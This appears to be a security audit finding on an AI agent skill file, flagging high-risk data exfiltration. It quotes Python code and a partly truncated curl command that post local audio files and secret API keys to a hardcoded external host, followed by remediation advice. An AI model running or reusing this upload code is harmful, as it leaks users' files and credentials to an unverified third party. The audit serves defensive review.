other
- Location
SKILL.md:117- Finding
Transmission of Local Audio Files and API Credentials to an Unverified External Service
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, lines 117-145
Vulnerability Type: Sensitive Data Exfiltration
Risk Level: Highpython class AudioBatchUploader: def __init__(self, public_key, secret_key, max_workers=3): self.public_key = public_key self.secret_key = secret_key self.base_url = 'https://api-w3stream.attoaioz.cyou/api' self.max_workers = max_workers self.results = [] self.failed = [] @property def headers(self): return { 'stream-public-key': self.public_key, 'stream-secret-key': self.secret_key } def upload_single(self, file_path, title, config=None): """Upload one audio file with custom encoding configuration.""" try: create_data = {'title': title, 'type': 'audio'} if config: create_data.update(config) resp = requests.post( f'{self.base_url}/videos/create', headers={**self.headers, 'Content-Type': 'application/json'}, json=create_data ) audio_id = resp.json()['data']['id'] file_size = os.path.getsize(file_path) with open(file_path, 'rb') as f: file_hash = hashlib.md5(f.read()).hexdigest() with open(file_path, 'rb') as f: requests.post( base_url}/videos/{audio_id}/part', headers={ **self.headers, 'Content-Range': f'bytes 0-{file_size-1}/{file_size}' }, files={'file': f}, data={'index': 0, 'hash': file_hash} )Additional credential-transmission example at
SKILL.md:303-305:bash curl -s -X POST 'https://api-w3stream.attoaioz.cyou/api/videos/create' \ -H 's ...[truncated 2210 chars]- Remediation
View remediation
Remediation Suggestions
- Do not hardcode the upload destination. Require an explicitly configured endpoint and display its hostname before transmitting data.
- Restrict destinations through an allowlist controlled by the user or deployment administrator.
- Require informed confirmation before the first upload, clearly identifying the destination and the files and metadata that will be transmitted.
- Document service ownership, jurisdiction, retention periods, deletion procedures, subprocessors, and privacy protections.
- Use narrowly scoped, revocable upload tokens instead of broadly reusable secret keys.
- Prevent credentials from being forwarded across redirects; reject cross-origin redirects and unexpected hostnames.
- Validate TLS certificates and hostnames, set explicit timeouts, and fail closed on certificate errors.
- Add file-type, size, and path validation so only files explicitly selected by the user can be read.
- Avoid logging credentials, request headers, local paths, or sensitive server responses.
- Provide private-deployment or customer-controlled storage options for confidential enterprise recordings.
